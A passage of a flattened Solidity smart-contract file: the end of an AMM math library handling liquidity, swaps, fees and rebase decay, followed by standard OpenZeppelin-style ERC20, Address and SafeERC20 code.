uint256 _baseTokenReserveQty,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances storage _internalBalances
) public returns (uint256 quoteTokenQty, uint256 liquidityTokenQty) {
uint256 baseTokenDecay =
_baseTokenReserveQty - _internalBalances.baseTokenReserveQty;
// determine max amount of quote token that can be added to offset the current decay
uint256 wInternalBaseTokenToQuoteTokenRatio =
wDiv(
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
);
// alphaDecay / omega (A/B)
uint256 maxQuoteTokenQty =
wDiv(baseTokenDecay, wInternalBaseTokenToQuoteTokenRatio);
if (_quoteTokenQtyDesired > maxQuoteTokenQty) {
quoteTokenQty = maxQuoteTokenQty;
} else {
quoteTokenQty = _quoteTokenQtyDesired;
}
uint256 baseTokenQtyDecayChange =
roundToNearest(
(quoteTokenQty * wInternalBaseTokenToQuoteTokenRatio),
WAD
) / WAD;
require(
baseTokenQtyDecayChange != 0,
"MathLib: INSUFFICIENT_CHANGE_IN_DECAY"
);
//x += alphaDecayChange
//y += deltaBeta
_internalBalances.baseTokenReserveQty += baseTokenQtyDecayChange;
_internalBalances.quoteTokenReserveQty += quoteTokenQty;
// calculate the number of liquidity tokens to return to user using
liquidityTokenQty = calculateLiquidityTokenQtyForSingleAssetEntryWithBaseTokenDecay(
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
quoteTokenQty,
_internalBalances.quoteTokenReserveQty,
wInternalBaseTokenToQuoteTokenRatio
);
return (quoteTokenQty, liquidityTokenQty);
}
/**
* @dev used to calculate the qty of base tokens required and liquidity tokens (deltaRo) to be issued
* in order to add liquidity and remove base token decay.
* @param _baseTokenQtyDesired the amount of base token the user wants to contribute
* @param _baseTokenQtyMin the minimum amount of base token the user wants to contribute (allows for slippage)
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return baseTokenQty qty of base token the user must supply
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateAddBaseTokenLiquidityQuantities(
uint256 _baseTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _baseTokenReserveQty,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances memory _internalBalances
) public pure returns (uint256 baseTokenQty, uint256 liquidityTokenQty) {
uint256 maxBaseTokenQty =
_internalBalances.baseTokenReserveQty - _baseTokenReserveQty;
require(
_baseTokenQtyMin <= maxBaseTokenQty,
"MathLib: INSUFFICIENT_DECAY"
);
if (_baseTokenQtyDesired > maxBaseTokenQty) {
baseTokenQty = maxBaseTokenQty;
} else {
baseTokenQty = _baseTokenQtyDesired;
}
// determine the quote token qty decay change quoted on our current ratios
uint256 wInternalQuoteToBaseTokenRatio =
wDiv(
_internalBalances.quoteTokenReserveQty,
_internalBalances.baseTokenReserveQty
);
// NOTE we need this function to use the same
// rounding scheme as wDiv in order to avoid a case
// in which a user is trying to resolve decay in which
// quoteTokenQtyDecayChange ends up being 0 and we are stuck in
// a bad state.
uint256 quoteTokenQtyDecayChange =
roundToNearest(
(baseTokenQty * wInternalQuoteToBaseTokenRatio),
MathLib.WAD
) / WAD;
require(
quoteTokenQtyDecayChange != 0,
"MathLib: INSUFFICIENT_CHANGE_IN_DECAY"
);
// we can now calculate the total amount of quote token decay
uint256 quoteTokenDecay =
(maxBaseTokenQty * wInternalQuoteToBaseTokenRatio) / WAD;
// this may be redundant quoted on the above math, but will check to ensure the decay wasn't so small
// that it was <1 and rounded down to 0 saving the caller some gas
// also could fix a potential revert due to div by zero.
require(quoteTokenDecay != 0, "MathLib: NO_QUOTE_DECAY");
// we are not changing anything about our internal accounting here. We are simply adding tokens
// to make our internal account "right"...or rather getting the external balances to match our internal
// quoteTokenReserveQty += quoteTokenQtyDecayChange;
// baseTokenReserveQty += baseTokenQty;
// calculate the number of liquidity tokens to return to user using:
liquidityTokenQty = calculateLiquidityTokenQtyForSingleAssetEntryWithQuoteTokenDecay(
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
baseTokenQty,
_internalBalances.baseTokenReserveQty
);
}
/**
* @dev used to calculate the qty of tokens a user will need to contribute and be issued in order to add liquidity
* @param _baseTokenQtyDesired the amount of base token the user wants to contribute
* @param _quoteTokenQtyDesired the amount of quote token the user wants to contribute
* @param _baseTokenQtyMin the minimum amount of base token the user wants to contribute (allows for slippage)
* @param _quoteTokenQtyMin the minimum amount of quote token the user wants to contribute (allows for slippage)
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return tokenQtys qty of tokens needed to complete transaction
*/
function calculateAddLiquidityQuantities(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _baseTokenReserveQty,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances storage _internalBalances
) public returns (TokenQtys memory tokenQtys) {
if (_totalSupplyOfLiquidityTokens != 0) {
// we have outstanding liquidity tokens present and an existing price curve
tokenQtys.liquidityTokenFeeQty = calculateLiquidityTokenFees(
_totalSupplyOfLiquidityTokens,
_internalBalances
);
// we need to take this amount (that will be minted) into account for below calculations
_totalSupplyOfLiquidityTokens += tokenQtys.liquidityTokenFeeQty;
// confirm that we have no beta or alpha decay present
// if we do, we need to resolve that first
if (
isSufficientDecayPresent(
_baseTokenReserveQty,
_internalBalances
)
) {
// decay is present and needs to be dealt with by the caller.
uint256 baseTokenQtyFromDecay;
uint256 quoteTokenQtyFromDecay;
uint256 liquidityTokenQtyFromDecay;
if (
_baseTokenReserveQty > _internalBalances.baseTokenReserveQty
) {
// we have more base token than expected (base token decay) due to rebase up
// we first need to handle this situation by requiring this user
// to add quote tokens
(
quoteTokenQtyFromDecay,
liquidityTokenQtyFromDecay
) = calculateAddQuoteTokenLiquidityQuantities(
_quoteTokenQtyDesired,
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
_internalBalances
);
} else {
// we have less base token than expected (quote token decay) due to a rebase down
// we first need to handle this by adding base tokens to offset this.
(
baseTokenQtyFromDecay,
liquidityTokenQtyFromDecay
) = calculateAddBaseTokenLiquidityQuantities(
_baseTokenQtyDesired,
0, // there is no minimum for this particular call since we may use base tokens later.
_baseTokenReserveQty,
_totalSupplyOfLiquidityTokens,
_internalBalances
);
}
if (
quoteTokenQtyFromDecay < _quoteTokenQtyDesired &&
baseTokenQtyFromDecay < _baseTokenQtyDesired
) {
// the user still has qty that they desire to contribute to the exchange for liquidity
(
tokenQtys.baseTokenQty,
tokenQtys.quoteTokenQty,
tokenQtys.liquidityTokenQty
) = calculateAddTokenPairLiquidityQuantities(
_baseTokenQtyDesired - baseTokenQtyFromDecay, // safe from underflow quoted on above IF
_quoteTokenQtyDesired - quoteTokenQtyFromDecay, // safe from underflow quoted on above IF
0, // we will check minimums below
0, // we will check minimums below
_totalSupplyOfLiquidityTokens +
liquidityTokenQtyFromDecay,
_internalBalances // NOTE: these balances have already been updated when we did the decay math.
);
}
tokenQtys.baseTokenQty += baseTokenQtyFromDecay;
tokenQtys.quoteTokenQty += quoteTokenQtyFromDecay;
tokenQtys.liquidityTokenQty += liquidityTokenQtyFromDecay;
require(
tokenQtys.baseTokenQty >= _baseTokenQtyMin,
"MathLib: INSUFFICIENT_BASE_QTY"
);
require(
tokenQtys.quoteTokenQty >= _quoteTokenQtyMin,
"MathLib: INSUFFICIENT_QUOTE_QTY"
);
} else {
// the user is just doing a simple double asset entry / providing both base and quote.
(
tokenQtys.baseTokenQty,
tokenQtys.quoteTokenQty,
tokenQtys.liquidityTokenQty
) = calculateAddTokenPairLiquidityQuantities(
_baseTokenQtyDesired,
_quoteTokenQtyDesired,
_baseTokenQtyMin,
_quoteTokenQtyMin,
_totalSupplyOfLiquidityTokens,
_internalBalances
);
}
} else {
// this user will set the initial pricing curve
require(
_baseTokenQtyDesired != 0,
"MathLib: INSUFFICIENT_BASE_QTY_DESIRED"
);
require(
_quoteTokenQtyDesired != 0,
"MathLib: INSUFFICIENT_QUOTE_QTY_DESIRED"
);
tokenQtys.baseTokenQty = _baseTokenQtyDesired;
tokenQtys.quoteTokenQty = _quoteTokenQtyDesired;
tokenQtys.liquidityTokenQty = sqrt(
_baseTokenQtyDesired * _quoteTokenQtyDesired
);
_internalBalances.baseTokenReserveQty += tokenQtys.baseTokenQty;
_internalBalances.quoteTokenReserveQty += tokenQtys.quoteTokenQty;
}
}
/**
* @dev calculates the qty of base and quote tokens required and liquidity tokens (deltaRo) to be issued
* in order to add liquidity when no decay is present.
* @param _baseTokenQtyDesired the amount of base token the user wants to contribute
* @param _quoteTokenQtyDesired the amount of quote token the user wants to contribute
* @param _baseTokenQtyMin the minimum amount of base token the user wants to contribute (allows for slippage)
* @param _quoteTokenQtyMin the minimum amount of quote token the user wants to contribute (allows for slippage)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return baseTokenQty qty of base token the user must supply
* @return quoteTokenQty qty of quote token the user must supply
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateAddTokenPairLiquidityQuantities(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances storage _internalBalances
)
public
returns (
uint256 baseTokenQty,
uint256 quoteTokenQty,
uint256 liquidityTokenQty
)
{
uint256 requiredQuoteTokenQty =
calculateQty(
_baseTokenQtyDesired,
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
);
if (requiredQuoteTokenQty <= _quoteTokenQtyDesired) {
// user has to provide less than their desired amount
require(
requiredQuoteTokenQty >= _quoteTokenQtyMin,
"MathLib: INSUFFICIENT_QUOTE_QTY"
);
baseTokenQty = _baseTokenQtyDesired;
quoteTokenQty = requiredQuoteTokenQty;
} else {
// we need to check the opposite way.
uint256 requiredBaseTokenQty =
calculateQty(
_quoteTokenQtyDesired,
_internalBalances.quoteTokenReserveQty,
_internalBalances.baseTokenReserveQty
);
require(
requiredBaseTokenQty >= _baseTokenQtyMin,
"MathLib: INSUFFICIENT_BASE_QTY"
);
baseTokenQty = requiredBaseTokenQty;
quoteTokenQty = _quoteTokenQtyDesired;
}
liquidityTokenQty = calculateLiquidityTokenQtyForDoubleAssetEntry(
_totalSupplyOfLiquidityTokens,
quoteTokenQty,
_internalBalances.quoteTokenReserveQty
);
_internalBalances.baseTokenReserveQty += baseTokenQty;
_internalBalances.quoteTokenReserveQty += quoteTokenQty;
}
/**
* @dev calculates the qty of base tokens a user will receive for swapping their quote tokens (less fees)
* @param _quoteTokenQty the amount of quote tokens the user wants to swap
* @param _baseTokenQtyMin the minimum about of base tokens they are willing to receive in return (slippage)
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _liquidityFeeInBasisPoints the current total liquidity fee represented as an integer of basis points
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return baseTokenQty qty of base token the user will receive back
*/
function calculateBaseTokenQty(
uint256 _quoteTokenQty,
uint256 _baseTokenQtyMin,
uint256 _baseTokenReserveQty,
uint256 _liquidityFeeInBasisPoints,
InternalBalances storage _internalBalances
) public returns (uint256 baseTokenQty) {
require(
_baseTokenReserveQty != 0 &&
_internalBalances.baseTokenReserveQty != 0,
"MathLib: INSUFFICIENT_BASE_TOKEN_QTY"
);
// check to see if we have experience quote token decay / a rebase down event
if (_baseTokenReserveQty < _internalBalances.baseTokenReserveQty) {
// we have less reserves than our current price curve will expect, we need to adjust the curve
uint256 wPricingRatio =
wDiv(
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
); // omega
uint256 impliedQuoteTokenQty =
wDiv(_baseTokenReserveQty, wPricingRatio); // no need to divide by WAD, wPricingRatio is already a WAD.
baseTokenQty = calculateQtyToReturnAfterFees(
_quoteTokenQty,
impliedQuoteTokenQty,
_baseTokenReserveQty, // use the actual balance here since we adjusted the quote token to match ratio!
_liquidityFeeInBasisPoints
);
} else {
// we have the same or more reserves, no need to alter the curve.
baseTokenQty = calculateQtyToReturnAfterFees(
_quoteTokenQty,
_internalBalances.quoteTokenReserveQty,
_internalBalances.baseTokenReserveQty,
_liquidityFeeInBasisPoints
);
}
require(
baseTokenQty >= _baseTokenQtyMin,
"MathLib: INSUFFICIENT_BASE_TOKEN_QTY"
);
_internalBalances.baseTokenReserveQty -= baseTokenQty;
_internalBalances.quoteTokenReserveQty += _quoteTokenQty;
}
/**
* @dev calculates the qty of quote tokens a user will receive for swapping their base tokens (less fees)
* @param _baseTokenQty the amount of bases tokens the user wants to swap
* @param _quoteTokenQtyMin the minimum about of quote tokens they are willing to receive in return (slippage)
* @param _liquidityFeeInBasisPoints the current total liquidity fee represented as an integer of basis points
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return quoteTokenQty qty of quote token the user will receive back
*/
function calculateQuoteTokenQty(
uint256 _baseTokenQty,
uint256 _quoteTokenQtyMin,
uint256 _liquidityFeeInBasisPoints,
InternalBalances storage _internalBalances
) public returns (uint256 quoteTokenQty) {
require(
_baseTokenQty != 0 && _quoteTokenQtyMin != 0,
"MathLib: INSUFFICIENT_TOKEN_QTY"
);
quoteTokenQty = calculateQtyToReturnAfterFees(
_baseTokenQty,
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty,
_liquidityFeeInBasisPoints
);
require(
quoteTokenQty >= _quoteTokenQtyMin,
"MathLib: INSUFFICIENT_QUOTE_TOKEN_QTY"
);
_internalBalances.baseTokenReserveQty += _baseTokenQty;
_internalBalances.quoteTokenReserveQty -= quoteTokenQty;
}
/**
* @dev calculates the qty of liquidity tokens that should be sent to the DAO due to the growth in K from trading.
* The DAO takes 1/6 of the total fees (30BP total fee, 25 BP to lps and 5 BP to the DAO)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return liquidityTokenFeeQty qty of tokens to be minted to the fee address for the growth in K
*/
function calculateLiquidityTokenFees(
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances memory _internalBalances
) public pure returns (uint256 liquidityTokenFeeQty) {
uint256 rootK =
sqrt(
_internalBalances.baseTokenReserveQty *
_internalBalances.quoteTokenReserveQty
);
uint256 rootKLast = sqrt(_internalBalances.kLast);
if (rootK > rootKLast) {
uint256 numerator =
_totalSupplyOfLiquidityTokens * (rootK - rootKLast);
uint256 denominator = (rootK * 5) + rootKLast;
liquidityTokenFeeQty = numerator / denominator;
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
